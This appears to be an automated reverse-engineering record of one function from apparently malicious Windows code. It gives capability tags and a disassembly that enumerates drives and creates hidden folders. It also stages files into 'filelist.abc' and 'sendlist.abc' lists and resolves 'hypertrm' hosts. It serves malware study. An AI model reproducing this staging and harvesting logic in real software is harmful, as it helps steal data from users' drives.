Function at 0x1006b720
Capabilities:
Check if file exists
Copy file
Create directory
Get common file path
Get disk information
Get file attributes
Read file on windows
Resolve dns
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100992d6
mov eax, dword fs:[0]
push eax
mov eax, 0x1990
call fcn.1008bd60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x198c], edx
mov edi, dword [ebp + 0x10]
xor eax, eax
mov ebx, dword [ebp + 0xc]
push eax
push eax
mov dword [ebp - 0x1974], edi
mov dword [ebp - 0x197c], eax
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x18d8], eax
mov dword [ebp - 0x18d4], eax
call fcn.1006f8b0
mov dword [ebp - 0x18d8], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x1668], 7
mov dword [ebp - 0x166c], 0
mov word [ebp - 0x167c], ax
push 0x100
lea eax, [ebp - 0x41c]
mov byte [ebp - 4], 1
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
lea ecx, [ebp - 0x41c]
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006b7d0
sub ecx, edx
sar ecx, 1
je 0x1006b7fa
cmp word [ebp + ecx*2 - 0x41e], 0x5c
je 0x1006b7fa
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x41c], ax
inc ecx
add ecx, ecx
cmp ecx, 0x200
jae 0x1006c045
xor eax, eax
mov word [ebp + ecx - 0x41c], ax
xor ecx, ecx
jmp 0x1006b820
movzx eax, word [ecx + 0x100c6abc]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1e], ax
test ax, ax
jne 0x1006b820
mov eax, 0x43
mov word [ebp - 0x1c], ax
lea ecx, [ecx]
movzx eax, ax
xor esi, esi
sub eax, 0x41
mov dword [ebp - 0x1978], eax
lea eax, [ebp - 0x21c]
push 0x100
push eax
lea eax, [ebp - 0x1994]
push eax
lea eax, [ebp - 0x199c]
push eax
lea eax, [ebp - 0x1998]
push eax
push 0x101
lea eax, [ebp - 0x161c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
test eax, eax
je 0x1006b8aa
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
jb 0x1006b8aa
cmp eax, 3
jbe 0x1006badd
cmp eax, 5
je 0x1006bae8
mov eax, dword [ebp - 0x1978]
cmp word [eax*2 + 0x100e2ed0], si
je 0x1006b99a
mov eax, dword [0x100e4330]
test eax, eax
je 0x1006b8d5
dec eax
mov dword [0x100e4330], eax
test eax, eax
jne 0x1006b98a
lea edx, [ebp - 0x21c]
mov ecx, ebx
sub edx, ebx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006b8e0
mov ecx, str.hypertrm.org
lea eax, [edi + edi]
sub eax, ecx
lea edx, [ebp - 0x21c]
add edx, eax
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x1006b902
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x1988], esi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1006b95d
push 0
lea eax, [ebp - 0x1990]
push eax
push 4
lea eax, [ebp - 0x1988]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 1
push ecx
mov ecx, dword [0x100e43b0]
mov edx, edi
mov eax, ecx
and ecx, 1
shr eax, 1
and eax, 1
push eax
push ecx
push dword [ebp - 0x1988]
lea ecx, [ebp - 0x21c]
call fcn.10066450
add esp, 0x18
mov eax, dword [ebp - 0x1978]
xor ecx, ecx
mov word [eax*2 + 0x100e2ed0], cx
mov ax, word [ebp - 0x1c]
inc ax
mov word [ebp - 0x1c], ax
cmp ax, 0x5a
jb 0x1006b840
mov eax, dword [ebp - 0x197c]
test eax, eax
je 0x1006ba6c
lea ecx, [ebp - 0x21c]
sub ecx, ebx
movzx eax, word [ebx]
lea ebx, [ebx + 2]
mov word [ecx + ebx - 2], ax
test ax, ax
jne 0x1006b9c4
lea eax, [edi*2 - 2]
cmp eax, 0x200
jae 0x1006c045
xor ecx, ecx
mov word [ebp + eax - 0x21c], cx
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1007b71d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006ba1f
mov ecx, str.filelist.abc
sub edx, ecx
mov edi, edi
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006ba10
push 0x100e43ec
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
lea edx, [ebp - 0x21c]
lea ecx, [ebp - 0x141c]
call fcn.10068f60
push 0
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea edx, [ebp - 0x21c]
mov ecx, 0x100e430c
call fcn.10069490
push 0x100e43ec
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
cmp dword [ebp - 0x1668], 8
mov esi, dword [ebp - 0x1970]
jb 0x1006ba89
push dword [ebp - 0x167c]
call fcn.1007b9e6
add esp, 4
xor eax, eax
mov dword [ebp - 0x1668], 7
lea ecx, [ebp - 0x18d8]
mov dword [ebp - 0x166c], 0
mov word [ebp - 0x167c], ax
call fcn.1006f1e0
push dword [ebp - 0x18d8]
call fcn.1007b9e6
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1007aa10
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 8], esi
mov eax, 1
cmovne esi, eax
mov eax, dword [ebp - 0x1978]
cmp word [eax*2 + 0x100e2ed0], 0
jne 0x1006c02e
test esi, esi
je 0x1006bdd4
xor ecx, ecx
jmp 0x1006bb10
movzx eax, word [ebp + ecx - 0x1c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x21e], ax
test ax, ax
jne 0x1006bb10
xor ecx, ecx
jmp 0x1006bb30
movzx eax, word [ecx + str.hypertrm.com]
mov word [ebp + ecx - 0x216], ax
add ecx, 2
test ax, ax
jne 0x1006bb30
mov eax, dword [0x100e43e4]
xor esi, esi
cmp byte [eax], 0
je 0x1006bb65
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1006bb65
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1006bbb9
test esi, esi
je 0x1006bb99
cmp esi, dword [0x100e43e8]
jne 0x1006bb99
push ecx
mov edx, 3
lea ecx, [ebp - 0x21c]
call fcn.100674d0
add esp, 4
jmp 0x1006bbb9
push dword [0x100e43bc]
mov edx, dword [0x100e4334]
push dword [0x100e43b8]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
call fcn.10067a20
add esp, 0x10
xor esi, esi
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + str.49BA59ABBE56E057_]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x218], ax
test ax, ax
jne 0x1006bbc0
lea ecx, [ebp - 0x216]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006bbe0
sub ecx, edx
sar ecx, 1
lea edi, [ecx + 3]
cmp dword [0x100e432c], esi
jne 0x1006bc87
xorps xmm0, xmm0
lea edx, [ebp - 0x1984]
lea ecx, [ebp - 0xc1c]
movlpd qword [ebp - 0x1984], xmm0
call fcn.1006a0c0
test eax, eax
je 0x1006bc87
lea edx, [ebp - 0xc1c]
mov ecx, ebx
sub edx, ebx
jmp 0x1006bc30
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006bc30
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
push dword [ebp - 0x1974]
lea eax, [ebp - 0xc1c]
mov ecx, 0x100e4314
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1984]
push eax
lea edx, [ebp - 0x18cc]
call fcn.1006a150
add esp, 0x14
mov esi, eax
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
cmp dword [0x100e432c], 0xa
jbe 0x1006bd0d
movzx edx, word [0x100e4386]
lea eax, [ebp - 0x1984]
xorps xmm0, xmm0
lea ecx, [ebp - 0x1c]
push eax
movlpd qword [ebp - 0x1984], xmm0
call fcn.1006a000
add esp, 4
test eax, eax
je 0x1006bd0d
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x1006bcda
push 6
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
lea eax, [ebp - 0x21c]
mov ecx, 0x100e4314
push edi
push eax
lea edx, [ebp - 0x1984]
call fcn.1006a4a0
add esp, 8
mov esi, eax
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
test esi, esi
je 0x1006bdce
lea edx, [ebp - 0x21c]
mov ecx, ebx
sub edx, ebx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006bd20
mov edi, dword [ebp - 0x1974]
lea eax, [edi*2 - 2]
cmp eax, 0x200
jae 0x1006c045
xor ecx, ecx
mov word [ebp + eax - 0x21c], cx
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1007b71d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006bd7f
mov ecx, str.sendlist.abc
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006bd70
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
lea edx, [ebp - 0x21c]
lea ecx, [ebp - 0x141c]
call fcn.10068f60
push 0
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea edx, [ebp - 0x21c]
mov ecx, 0x100e4314
call fcn.10069b60
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
jmp 0x1006bdd4
mov edi, dword [ebp - 0x1974]
lea edx, [ebp - 0x21c]
mov ecx, ebx
sub edx, ebx
mov edi, edi
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x1006bde0
mov eax, dword [0x100e4330]
inc eax
mov dword [0x100e4330], eax
cmp eax, 1
jne 0x1006be2b
call fcn.10065f60
push 0
push 0
push ecx
call fcn.10066140
push eax
call fcn.100660a0
push eax
push dword [0x100e43b0]
mov edx, edi
lea ecx, [ebp - 0x21c]
call fcn.10066450
add esp, 0x18
push dword [0x100e4360]
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x1c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0xc1e], ax
test ax, ax
jne 0x1006be40
lea ecx, [ebp - 0xc1c]
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006be60
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x1950], edi
mov dword [ebp - 0x1954], eax
sub ecx, edx
mov edx, dword [ebp - 0x198c]
lea eax, [ebp - 0x41c]
push eax
push ebx
sar ecx, 1
lea eax, [ebp - 0xc1c]
push ecx
push eax
lea eax, [ebp - 0x18cc]
mov dword [ebp - 0x194c], 0xffffffff
push eax
push 0
push 1
lea eax, [ebp - 0x1970]
mov dword [ebp - 0x1948], 0
push eax
lea eax, [ebp - 0x196c]
mov ecx, 0x100e2ed0
push eax
call fcn.1006af10
add dword [ebp - 0x197c], eax
lea ecx, [ebp - 0x196c]
add esp, 0x24
call fcn.1006a9b0
test eax, eax
je 0x1006c00c
xor esi, esi
lea edi, [ebp - 0x1664]
movzx eax, byte [ebp + esi - 0x18ec]
push eax
push str._02x
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
inc esi
add esp, 0xc
add edi, 4
cmp esi, 0x10
jl 0x1006bef2
mov edx, dword [ebp - 0x1954]
cmp word [edx], 0
jne 0x1006bf23
xor ecx, ecx
jmp 0x1006bf3f
mov ecx, edx
lea esi, [ecx + 2]
jmp 0x1006bf30
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1006bf30
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x167c]
call fcn.10063b40
mov edi, dword [ebp - 0x1974]
lea eax, [edi*2 - 2]
cmp eax, 0x200
jae 0x1006c045
xor ecx, ecx
mov word [ebp + eax - 0x21c], cx
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.1007b71d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006bf9f
mov ecx, str.sendlist.abc
sub edx, ecx
lea esp, [esp]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006bf90
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
lea eax, [ebp - 0x167c]
mov ecx, 0x100e4314
push eax
call fcn.1006f2c0
lea edx, [ebp - 0x21c]
lea ecx, [ebp - 0x141c]
call fcn.10068f60
push 0
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea edx, [ebp - 0x21c]
mov ecx, 0x100e4314
call fcn.10069b60
push 0x100e441c
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, dword [ebp - 0x1970]
inc eax
mov dword [ebp - 0x1970], eax
jmp 0x1006c012
mov eax, dword [ebp - 0x1970]
test eax, eax
je 0x1006c022
push dword [0x100e4368]
call dword [sym.imp.KERNEL32.DLL_SetEvent]
push dword [0x100e4360]
call dword [sym.imp.KERNEL32.DLL_SetEvent]
mov ecx, dword [ebp - 0x1978]
mov ax, word [ebp - 0x1c]
mov word [ecx*2 + 0x100e2ed0], ax
jmp 0x1006b99e
call fcn.1007bb23
int3